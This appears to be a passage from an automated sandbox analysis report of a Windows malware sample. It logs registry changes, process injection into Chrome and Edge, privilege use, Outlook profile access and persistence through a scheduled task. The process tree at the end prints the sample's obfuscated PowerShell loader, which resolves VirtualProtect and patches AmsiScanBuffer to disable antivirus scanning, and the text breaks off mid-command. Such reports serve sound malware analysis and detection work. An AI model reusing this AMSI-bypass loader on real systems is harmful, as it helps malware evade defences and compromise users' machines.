Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134221310677079717"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-600123060-2148212387-2211176695-1000\{CBA74CE8-E6CC-4179-BE07-81A9CCABF5E7}	msedge.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2344	Chrome145.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
3336	chrome.exe
3336	chrome.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe
4412	file.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2344	Chrome145.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
5644	msedge.exe
5644	msedge.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
4916	msedge.exe
4916	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3336	chrome.exe
Token: SeCreatePagefilePrivilege	3336	chrome.exe
Token: SeShutdownPrivilege	3336	chrome.exe
Token: SeCreatePagefilePrivilege	3336	chrome.exe
Token: SeDebugPrivilege	2344	Chrome145.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeDebugPrivilege	1164	powershell.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	3272	powercfg.exe
Token: SeCreatePagefilePrivilege	3272	powercfg.exe
Token: SeShutdownPrivilege	1196	powercfg.exe
Token: SeCreatePagefilePrivilege	1196	powercfg.exe
Token: SeShutdownPrivilege	2456	powercfg.exe
Token: SeCreatePagefilePrivilege	2456	powercfg.exe
Token: SeShutdownPrivilege	4092	powercfg.exe
Token: SeCreatePagefilePrivilege	4092	powercfg.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeDebugPrivilege	5208	powershell.exe
Token: SeDebugPrivilege	1988	powershell.EXE
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	2584	chrome.exe
Token: SeCreatePagefilePrivilege	2584	chrome.exe
Token: SeShutdownPrivilege	4140	powercfg.exe
Token: SeCreatePagefilePrivilege	4140	powercfg.exe
Token: SeShutdownPrivilege	3692	powercfg.exe
Token: SeCreatePagefilePrivilege	3692	powercfg.exe
Token: SeShutdownPrivilege	4344	powercfg.exe
Token: SeCreatePagefilePrivilege	4344	powercfg.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
3336	chrome.exe
5644	msedge.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe
2584	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4412 wrote to memory of 3336	4412	file.exe	79
PID 3336 wrote to memory of 5228	3336	chrome.exe	80
PID 4412 wrote to memory of 3336	4412	file.exe	79
PID 3336 wrote to memory of 5664	3336	chrome.exe	81
PID 3336 wrote to memory of 6060	3336	chrome.exe	82
PID 3336 wrote to memory of 6060	3336	chrome.exe	82
PID 3336 wrote to memory of 5104	3336	chrome.exe	83
PID 3336 wrote to memory of 5104	3336	chrome.exe	83
PID 3336 wrote to memory of 5540	3336	chrome.exe	86
PID 3336 wrote to memory of 5540	3336	chrome.exe	86
PID 3336 wrote to memory of 2128	3336	chrome.exe	87
PID 3336 wrote to memory of 2128	3336	chrome.exe	87
PID 3336 wrote to memory of 5132	3336	chrome.exe	88
PID 3336 wrote to memory of 5132	3336	chrome.exe	88
PID 3336 wrote to memory of 3312	3336	chrome.exe	89
PID 3336 wrote to memory of 3312	3336	chrome.exe	89
PID 4412 wrote to memory of 5644	4412	file.exe	91
PID 5644 wrote to memory of 6012	5644	msedge.exe	92
PID 4412 wrote to memory of 5644	4412	file.exe	91
PID 5644 wrote to memory of 5164	5644	msedge.exe	93
PID 5644 wrote to memory of 3020	5644	msedge.exe	94
PID 5644 wrote to memory of 3020	5644	msedge.exe	94
PID 5644 wrote to memory of 3020	5644	msedge.exe	94
PID 5644 wrote to memory of 5296	5644	msedge.exe	96
PID 5644 wrote to memory of 5296	5644	msedge.exe	96
PID 5644 wrote to memory of 3288	5644	msedge.exe	97
PID 5644 wrote to memory of 3288	5644	msedge.exe	97
PID 5644 wrote to memory of 3288	5644	msedge.exe	97
PID 5644 wrote to memory of 5048	5644	msedge.exe	98
PID 5644 wrote to memory of 5048	5644	msedge.exe	98
PID 5644 wrote to memory of 5048	5644	msedge.exe	98
PID 4412 wrote to memory of 324	4412	file.exe	100
PID 324 wrote to memory of 3960	324	cmd.exe	102
PID 3960 wrote to memory of 2344	3960	pFmCqfHZ9R.exe	103
PID 2584 wrote to memory of 3584	2584	chrome.exe	109
PID 2584 wrote to memory of 4692	2584	chrome.exe	110
PID 2584 wrote to memory of 1792	2584	chrome.exe	111
PID 2584 wrote to memory of 4692	2584	chrome.exe	110
PID 2584 wrote to memory of 552	2584	chrome.exe	113
PID 2584 wrote to memory of 552	2584	chrome.exe	113
PID 2584 wrote to memory of 2856	2584	chrome.exe	114
PID 2584 wrote to memory of 1800	2584	chrome.exe	115
PID 2584 wrote to memory of 2856	2584	chrome.exe	114
PID 2584 wrote to memory of 1800	2584	chrome.exe	115
PID 2584 wrote to memory of 5176	2584	chrome.exe	116
PID 2584 wrote to memory of 5176	2584	chrome.exe	116
PID 2584 wrote to memory of 4996	2584	chrome.exe	117
PID 2584 wrote to memory of 4996	2584	chrome.exe	117
PID 2344 wrote to memory of 4272	2344	Chrome145.exe	118
PID 2584 wrote to memory of 3016	2584	chrome.exe	119
PID 2344 wrote to memory of 2584	2344	Chrome145.exe	108
PID 2344 wrote to memory of 2584	2344	Chrome145.exe	108
PID 2344 wrote to memory of 2584	2344	Chrome145.exe	108
PID 2344 wrote to memory of 2584	2344	Chrome145.exe	108
PID 2344 wrote to memory of 2584	2344	Chrome145.exe	108
PID 2344 wrote to memory of 5296	2344	Chrome145.exe	122
PID 2344 wrote to memory of 5296	2344	Chrome145.exe	122
PID 2344 wrote to memory of 5296	2344	Chrome145.exe	122
PID 2344 wrote to memory of 5296	2344	Chrome145.exe	122
PID 2344 wrote to memory of 5296	2344	Chrome145.exe	122
PID 2344 wrote to memory of 5296	2344	Chrome145.exe	122
PID 2632 wrote to memory of 3580	2632	cmd.exe	133
PID 4272 wrote to memory of 4924	4272	chrome_144.exe	143
PID 4272 wrote to memory of 4924	4272	chrome_144.exe	143

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	file.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	file.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:632
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:704
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{7d25d3d1-548c-4242-bdd7-59f6e13043b4}
  2⤵
  PID:2652
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{0dde098d-f5a6-4011-9cf0-27cc4be3b0bf}
  2⤵
  PID:936
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 936 -s 308
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:1932

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d21737f9-7536-4a8f-b878-706ae66edd9e -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-64ce1943-0363-4427-bf81-486ef2d107df -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-0b288753-17c7-4afa-a40f-4fcab8f07ece -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-56abbe65-2b28-4c17-9451-c6a0dbdb3c2f -LifetimeId:058e06c2-8c1e-4dcb-990d-f78e117456b4 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1040

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:cPHQpoFKfUhG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kpNppKrVaAqgKU,[Parameter(Position=1)][Type]$sGClUzBCuh)$RgcgIGQiWiW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+'e'+'c'+[Char](116)+''+'e'+''+'d'+'D'+[Char](101)+''+[Char](108)+'e'+'g'+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'','C'+[Char](108)+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+',Se'+[Char](97)+''+'l'+'e'+[Char](100)+''+','+'A'+[Char](110)+''+[Char](115)+'i'+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s,'+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+'s'+'',[MulticastDelegate]);$RgcgIGQiWiW.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+'l'+''+[Char](78)+''+'a'+''+[Char](109)+'e'+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+'S'+'i'+''+'g'+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$kpNppKrVaAqgKU).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+',M'+'a'+'na'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$RgcgIGQiWiW.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+'H'+'i'+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$sGClUzBCuh,$kpNppKrVaAqgKU).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $RgcgIGQiWiW.CreateType();}$bmbujaautgJVF=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+'s'+'o'+''+[Char](102)+'t'+[Char](46)+'Wi'+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+''+[Char](110)+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+'N'+[Char](97)+''+[Char](116)+'iv'+'e'+''+'M'+'e'+'t'+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$FrJIjvQQMbpzsp=$bmbujaautgJVF.GetMethod(''+'G'+''+[Char](101)+''+'t'+'P'+'r'+''+'o'+'c'+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+'s',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+'l'+[Char](105)+''+'c'+''+','+'S'+[Char](116)+''+[Char](97)+'t'+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$loZvgJGZtvkPQVoxLEs=cPHQpoFKfUhG @([String])([IntPtr]);$SAbtoYTwgVhxssjdLyGGPP=cPHQpoFKfUhG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hZoyrOsQgbx=$bmbujaautgJVF.GetMethod(''+[Char](71)+'e'+[Char](116)+'M'+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('kern'+[Char](101)+''+[Char](108)+''+'3'+'2'+[Char](46)+'d'+'l'+''+[Char](108)+'')));$tgqTIPdkGZiTgt=$FrJIjvQQMbpzsp.Invoke($Null,@([Object]$hZoyrOsQgbx,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$JGxNzpVwCWewPKCmS=$FrJIjvQQMbpzsp.Invoke($Null,@([Object]$hZoyrOsQgbx,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+'ote'+[Char](99)+''+[Char](116)+'')));$dsTGTGr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tgqTIPdkGZiTgt,$loZvgJGZtvkPQVoxLEs).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+''+'l'+''+'l'+'');$CVLFcCAxAurBheNpc=$FrJIjvQQMbpzsp.Invoke($Null,@([Object]$dsTGTGr,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+'S'+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$yDqngmhEbg=0;[Runtime.InteropServices.Marshal]::GetDel